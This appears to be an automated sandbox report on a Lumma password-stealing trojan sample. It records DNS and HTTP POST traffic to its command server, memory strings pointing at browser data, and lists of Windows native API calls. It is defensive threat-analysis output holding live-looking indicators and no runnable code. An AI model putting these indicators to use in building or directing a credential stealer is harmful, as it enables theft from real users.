Source: global traffic	DNS traffic detected: DNS query: goalyfeastz.site

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: goalyfeastz.site

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2107225236.0000000003BE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2107225236.0000000003BE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2168082306.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microH
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2107225236.0000000003BE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2107225236.0000000003BE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2107225236.0000000003BE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2107225236.0000000003BE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2107225236.0000000003BE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2107225236.0000000003BE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2107225236.0000000003BE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.enigmaprotector.com/
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.enigmaprotector.com/openU
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2107225236.0000000003BE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2107225236.0000000003BE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2080664665.0000000003BF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2080664665.0000000003BF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2080664665.0000000003BF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2080664665.0000000003BF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2109587943.0000000003C5B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2080664665.0000000003BF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2080664665.0000000003BF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2080664665.0000000003BF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000002.2180620426.0000000003C55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goalyfeastz.si
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2178900486.0000000000E5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://goalyfeastz.site/
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000002.2179824263.0000000000EC3000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2179061369.0000000000EC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://goalyfeastz.site/FO?
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000002.2180634764.0000000003C5C000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000002.2179824263.0000000000E75000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2107031075.0000000000EE5000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092185676.0000000000EE5000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000002.2179772670.0000000000E0E000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2178900486.0000000000E75000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2123072957.0000000003C5B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2168029600.0000000003C5C000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2178900486.0000000000E3C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000002.2179932755.0000000000ECD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000002.2179824263.0000000000E3C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2139833690.0000000003C5B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goalyfeastz.site/api
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2107031075.0000000000EE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://goalyfeastz.site/apie)
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2150212465.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2167970332.0000000000ECD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000002.2179932755.0000000000ECD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://goalyfeastz.site/apil
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2150212465.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2167970332.0000000000ECD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000002.2179932755.0000000000ECD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://goalyfeastz.site/apis
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2139742048.0000000000ECD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://goalyfeastz.site/apisH
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2139742048.0000000000ECD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://goalyfeastz.site/apiw
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2168082306.0000000000EC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://goalyfeastz.site/o
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2079827222.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2150212465.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://goalyfeastz.site:443/api
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2109587943.0000000003C5B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2109261947.0000000003EEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2109261947.0000000003EEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2080664665.0000000003BF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2080664665.0000000003BF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2109261947.0000000003EEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2109261947.0000000003EEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2109261947.0000000003EEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2109261947.0000000003EEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2109261947.0000000003EEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2109261947.0000000003EEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:49711 version: TLS 1.2

System Summary

PE file has nameless sections

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Static PE information: section name:
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Static PE information: section name:
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Static PE information: section name:
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Static PE information: section name:
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00483650 NtSetInformationFile,	0_2_00483650
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00483634 NtClose,	0_2_00483634
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004836B8 NtReadFile,	0_2_004836B8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00483710 NtCreateFile,	0_2_00483710
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004837F0 NtProtectVirtualMemory,	0_2_004837F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00482B50 NtDeviceIoControlFile,	0_2_00482B50
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00482BE4 NtCreateThread,	0_2_00482BE4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00482BB0 NtQueryInformationProcess,	0_2_00482BB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00482C50 NtCreateProcess,	0_2_00482C50
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00482CF8 NtCreateUserProcess,	0_2_00482CF8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00482CA0 NtCreateProcessEx,	0_2_00482CA0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00482D60 NtOpenKeyEx,	0_2_00482D60
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00482DE0 NtQuerySecurityObject,	0_2_00482DE0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00482D8C NtSetVolumeInformationFile,	0_2_00482D8C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00482E6C NtFsControlFile,	0_2_00482E6C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00482E14 NtNotifyChangeDirectoryFile,	0_2_00482E14
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00482F54 NtOpenKey,	0_2_00482F54
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00482F74 NtEnumerateValueKey,	0_2_00482F74
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00482F04 NtAccessCheck,	0_2_00482F04
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00482FE8 NtQueryValueKey,	0_2_00482FE8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00482FB4 NtQueryKey,	0_2_00482FB4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00483070 NtEnumerateKey,	0_2_00483070
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00483028 NtCreateKey,	0_2_00483028
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004830B0 NtSetValueKey,	0_2_004830B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004831E0 NtQueryMultipleValueKey,	0_2_004831E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00483180 NtNotifyChangeKey,	0_2_00483180
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_0048327C NtSetInformationKey,	0_2_0048327C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004832C4 NtTerminateProcess,	0_2_004832C4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004832E0 NtWriteFile,	0_2_004832E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_0048336C NtQueryDirectoryFile,	0_2_0048336C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00483338 NtQueryObject,	0_2_00483338
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004833F4 NtDuplicateObject,	0_2_004833F4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_0048343C NtQueryVolumeInformationFile,	0_2_0048343C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004834EC NtUnlockFile,	0_2_004834EC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_0048348C NtLockFile,	0_2_0048348C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00483558 NtQuerySection,	0_2_00483558
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_0048353C NtUnmapViewOfSection,	0_2_0048353C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004835EC NtCreateSection,	0_2_004835EC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_0048358C NtMapViewOfSection,	0_2_0048358C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00483684 NtQueryInformationFile,	0_2_00483684
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00483778 NtOpenFile,	0_2_00483778

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Code function: 0_2_004E1CA4: CreateFileA,DeviceIoControl,

0_2_004E1CA4

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_3_00E872CB	0_3_00E872CB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_3_00E874CF	0_3_00E874CF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_3_00E872D7	0_3_00E872D7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_3_00E87E48	0_3_00E87E48
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_3_00E87E43	0_3_00E87E43
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_3_00E8753B	0_3_00E8753B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_3_00E86D12	0_3_00E86D12
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003E0130	0_2_003E0130
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00414620	0_2_00414620
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003F509D	0_2_003F509D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003ED5AF	0_2_003ED5AF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_0040A2E0	0_2_0040A2E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003FA6D0	0_2_003FA6D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003F6800	0_2_003F6800
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_0040A97E	0_2_0040A97E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003DF970	0_2_003DF970
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003E00C7	0_2_003E00C7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003E011A	0_2_003E011A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_0053013C	0_2_0053013C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003F41E0	0_2_003F41E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003D8340	0_2_003D8340
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003FC3E0	0_2_003FC3E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004FC498	0_2_004FC498
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004086FE	0_2_004086FE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003E482A	0_2_003E482A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_0051C958	0_2_0051C958
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00414920	0_2_00414920
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003F0A24	0_2_003F0A24
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00504A18	0_2_00504A18
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003FCA72	0_2_003FCA72
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00500AC8	0_2_00500AC8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003E4BBF	0_2_003E4BBF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00414C50	0_2_00414C50
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00404C60	0_2_00404C60
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003D8DA0	0_2_003D8DA0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_0051CE80	0_2_0051CE80
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00508EB0	0_2_00508EB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003F8F00	0_2_003F8F00
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003D4FA0	0_2_003D4FA0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00404F80	0_2_00404F80
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003D1000	0_2_003D1000
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003F91E0	0_2_003F91E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004E1264	0_2_004E1264
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003D12D5	0_2_003D12D5
